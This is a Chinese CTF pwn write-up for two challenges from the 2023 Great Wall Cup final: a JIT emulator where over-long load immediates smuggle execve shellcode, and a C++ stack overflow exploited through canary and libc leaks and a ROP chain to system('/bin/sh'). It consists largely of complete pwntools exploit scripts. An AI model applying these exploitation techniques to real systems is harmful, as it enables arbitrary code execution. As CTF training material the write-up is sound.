首页 > 其他分享 >2023-长城杯(铁人三项)决赛-pwn-wp

2023-长城杯(铁人三项)决赛-pwn-wp

时间:2023-04-28 18:24:49浏览次数:48  
标签:addr libc 2023 ELF wp pwn 铁人三项 sla def

这是昨天的长城杯线下决赛题目,找其它参加的师傅要了 pwn 方向的题目来做,一共有两道题,题目质量很不错,都是对逆向动态调试有一定要求才能做出的类型, 我想这也是之后国内CTF比赛 pwn 方向赛题的转变趋势吧。

就是很遗憾没能参加,,,,不然靠做 pwn 应该都能保底拿奖了

fast_emulator

这是一道 jit 题目,属于 vm pwn,需要把指令会转换为什么样的执行体给逆向明白才能做

 主要利用到的是 load 指令,其中,如 load r1 0xaaaaaaaaaaaaaaaa ,当 0xaaaaaaaaaaaaaaaa 过长时候,被转为汇编指令的形式 mov rax, 0xaaaaaaaaaaaaaaaa 时候,由于过长,那么部分溢出的 a 就会进入执行体,作为汇编指令执行,这就是这道题的漏洞

p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


gdb.attach(p, 'b *$rebase(0x1a1d)')
#gdb.attach(p, 'b *$rebase(0x1a16)')

sla(b'enter: ', b'1')
sla(b'> ', b'load r2 0x' + b'a'*0x10)

pause()

用如上代码调试即可得到如下图所示,部分 a 溢出了

 其中,由于溢出数据有限,所以我们写入的 shellcode 需要分段写。我选择的是利用 execve('/bin/sh', 0, 0) 进行系统调用来 get shell

并且会出现写入的 shellcode 因为没有对齐而导致转换成对应的汇编代码错误执行失败的情况,所以我们需要多写几个指令进去

完整 exp

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


gdb.attach(p, 'b *$rebase(0x1a1d)')

sla(b'enter: ', b'7')
sla(b'> ', b'load r2 0x' + b'6a3b'*0x10 + b'00000000') # push 0x3b;
sla(b'> ', b'load r2 0x' + b'58'*0x8 + b'00000000') #pop rax;
sla(b'> ', b'load r2 0x' + b'6a00'*0x10 + b'00000000') #push 0;
sla(b'> ', b'load r2 0x' + b'5a5e'*0x8 + b'00000000') #pop rsi; pop rdx;
sla(b'> ', b'load r2 0x' + b'5f55'*0x10 + b'00000000') # push rbp; pop rdi;
sla(b'> ', b'load r2 0x' + b'0f05'*0x8 + b'00000000') # syscall
sla(b'> ', b'/bin/sh\x00' + b'00000000')

inter()

如下图

 

driverlicense

一道 C ++ 栈题,主要考点是 C++ 中 cin、cout 对字符串的处理

程序会要求输入 name  , age , comment

 然后就是修改 comment ,输出信息这两个功能。

由于 C++ 代码过于复杂且漏洞不明显表现在代码上就不上图了

漏洞:

如果我们在程序一开始输入的 comment 的字节数小于 8 ,那么就会将输入的字符串存储在栈上,否则存储在堆块上。当存储在栈上的时候。

from pwm import *
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) gdb.attach(p, 'b *0x401188') update(b'a'*0x10) pause()

 可以发现我们可以往栈上写很多个字节,实现栈溢出。

不够开启了  canary,我们需要先泄露 canary

当执行 cout 函数的时候,我们可以发现,如果我们之前便溢出了,那么会是这样的

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

gdb.attach(p, 'b *0x4011af')

update(b'a'*0x10 + b'b'*8)
show()

pause()

 从图可以看到 rsi 的值是我们可以控制的,在 IDA 中,执行的是 show 功能函数要输出 name

 也就是说,我们可以通过控制 rsi 的链子来输出内存信息,比如 libc_base 、stack 、canary、heap_addr

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

# leak libc_base
update(b'a'*0x10 + p64(elf.got['read']))
show()
libc_base = get_addr() - libc.sym['read']

# leak stack
environ = libc_base + libc.sym['__environ']
update(b'a'*0x10 + p64(environ))
show()
stack = get_addr()

# leak canary
update(b'a'*0x10 + p64(stack - 0x110))
show()
rl(b'Your name : ')
canary = u64(p.recv(8))

# leak heap_addr
#gdb.attach(p, 'b *0x401190')
update(b'a'*0x10 + p64(stack - 0x1b8))
show()
rl(b'Your name : ')
heap_addr = u32(p.recv(4))

print(' heap_addr -> ', hex(heap_addr))
print(' canary -> ', hex(canary))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))

这里要注意的是,输出的 name 的字节数是受我们一开始在程序中输入的 name 的字节数所决定的,所以我们这里要输大一些,不够这样又会有一个问题,程序在要结束时候调用 0x40165a 函数对之前存放数据的堆块进行释放,但是由于我们还需要利用栈溢出,所以栈上存放的堆块的指针也会被我们修改,所以我们需要通过泄露堆地址,然后还原回来

 如图所示,如果直接栈溢出那么栈上的堆块指针就被我们修改了

 之后,就是一步步调试,然后输入 0 退出循环,触发栈溢出,这里的 canary 和 堆块指针 和 溢出点的位置只需要调试就可以知道了,就不多说了

完整 exp

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/libc-2.23.so')

def update(data):
    sla(b'>> ', b'1')
    sla(b'>> ', data)
def show():
    sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

# leak libc_base
update(b'a'*0x10 + p64(elf.got['read']))
show()
libc_base = get_addr() - libc.sym['read']

# leak stack
environ = libc_base + libc.sym['__environ']
update(b'a'*0x10 + p64(environ))
show()
stack = get_addr()

# leak canary
update(b'a'*0x10 + p64(stack - 0x110))
show()
rl(b'Your name : ')
canary = u64(p.recv(8))

# leak heap_addr
#gdb.attach(p, 'b *0x401190')
update(b'a'*0x10 + p64(stack - 0x1b8))
show()
rl(b'Your name : ')
heap_addr = u32(p.recv(4))

# pwn
rdi = 0x401713
ret = 0x400df1
system, binsh = get_sb()

#gdb.attach(p, 'b *0x40148f')
update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
sla(b'>> ', b'0')

print(' heap_addr -> ', hex(heap_addr))
print(' canary -> ', hex(canary))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
inter()

标签:addr,libc,2023,ELF,wp,pwn,铁人三项,sla,def
From: https://www.cnblogs.com/xshhc/p/17361785.html

相关文章

  • 2023年4月28日周五
    计划删减代码,把它变成自己的,准备答辩学习前端知识angular框架,html语法扎实的学,css,JavaScript学习后端框架,Java语言学扎实点知道接口怎么回事,尝试或明白一个接口怎么写解决配置文件中resources中的几千个报错,不解决,无意义要搞明白数据库中的字段含义,以了解数据库表如......
  • KubeSphere 社区双周报 | 杭州站 Meetup 议题征集中 | 2023.04.14-04.27
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2023.04.14-2023.04.27。贡献者名单新晋KubeSphereCon......
  • NodeJS定时任务 注:2023-4-28更新
     使用的node-schedule 设置定时任务 引入constschedule=require('node-schedule'); 参数解析schedule.scheduleJob(******)接收六个参数,位置分别如下,如果不需要,填*号即可,*代表通配符6个占位符从左到右分别代表:秒、分、时、日、月、周几*表示通配符,匹配......
  • 题目 3158: 蓝桥杯2023年第十四届省赛真题-三国游戏(贪心)
    题目描述小蓝正在玩一款游戏。游戏中魏蜀吴三个国家各自拥有一定数量的士兵X,Y,Z(一开始可以认为都为0)。游戏有n个可能会发生的事件,每个事件之间相互独立且最多只会发生一次,当第i个事件发生时会分别让X,Y,Z增加Ai,Bi,Ci。当游戏结束时(所有事件的发生与否已......
  • 2023-4-27 #52 来看这万千旧梦
    323AT_xmascon21_cCountMe先做没有问号的情况。把问题倒着做,每次删只能删连续段的末端\(0\),或是连续段的开头\(1\),若我们在开头插入\(0\),在结尾插入\(1\)并强制这些不能删,那么我们能将\(0\)连续段与\(1\)连续段匹配,操作可以看作将一个\(01\)变成\(0\)或是\(1\)......
  • 2023面试自动化测试面试题【含答案】,建议收藏
    1、你做了几年的测试、自动化测试,说一下selenium的原理是什么?我做了五年的测试,1年的自动化测试;selenium它是用http协议来连接webdriver,客户端可以使用Java或者Python各种编程语言来实现;2、什么项目适合做自动化测试?关键字:不变的、重复的、规范的第一点,需求变化不能......
  • 老杜2023最新Vue实战精讲(五)Vuex
    动力节点老杜全新版Vue教程笔记分享给大家学习の地止:https://www.bilibili.com/video/BV17h41137i4视频教程从Vue2开始讲解,一步一个案例,知识点由浅入深,然后很自然的过度到Vue3版本。Vue3是目前企业中使用最多的一个版本。视频中会把每一个Vue的知识点讲解的非常通透,不但举例......
  • 华为OD机试真题2023 精简版,如果距离机考时间不多了,就看这个吧(50道100分题目)
    关于华为od题库的说明2023年参加华为OD机试,你收到的短信邀请链接中提及的应该是 2022Q4 或者 2023Q1 都是A卷。只要是这样的试卷标题,那表示你使用的就是华为OD的新题库了。华为机试有三道题,前2道100分,第3道200分,总分是400分。随着时间的积累,题库内容越来越大,很多朋友现......
  • 第二届应用力学与工程结构国际学术会议(AMES 2023) 2023年6月30日-7月2日 中国大理
    第二届应用力学与工程结构国际学术会议(AMES2023)2023年6月30日-7月2日     中国大理 一、大会简介大会官网:https://ais.cn/u/Yfiiaa由河南大学、朴茨茅斯大学和马来西亚理工大学联合组织的第二届应用力学与工程结构国际学术会议(AMES2023)将于2023年6月30日至7月2日在中......
  • 一个WPF开发的、界面简洁漂亮的音频播放器
    今天推荐一个界面简洁、美观的、支持国际化开源音频播放器。项目简介这是一个基于C#+WPF开发的,界面外观简洁大方,操作体验良好的音频播放器。支持各种音频格式,包括:MP4、WMA、OGG、FLAC、M4A、AAC、WAV、APE和OPUS;支持标记、实时显示歌词等功能;支持换肤、中英文等主流语言。......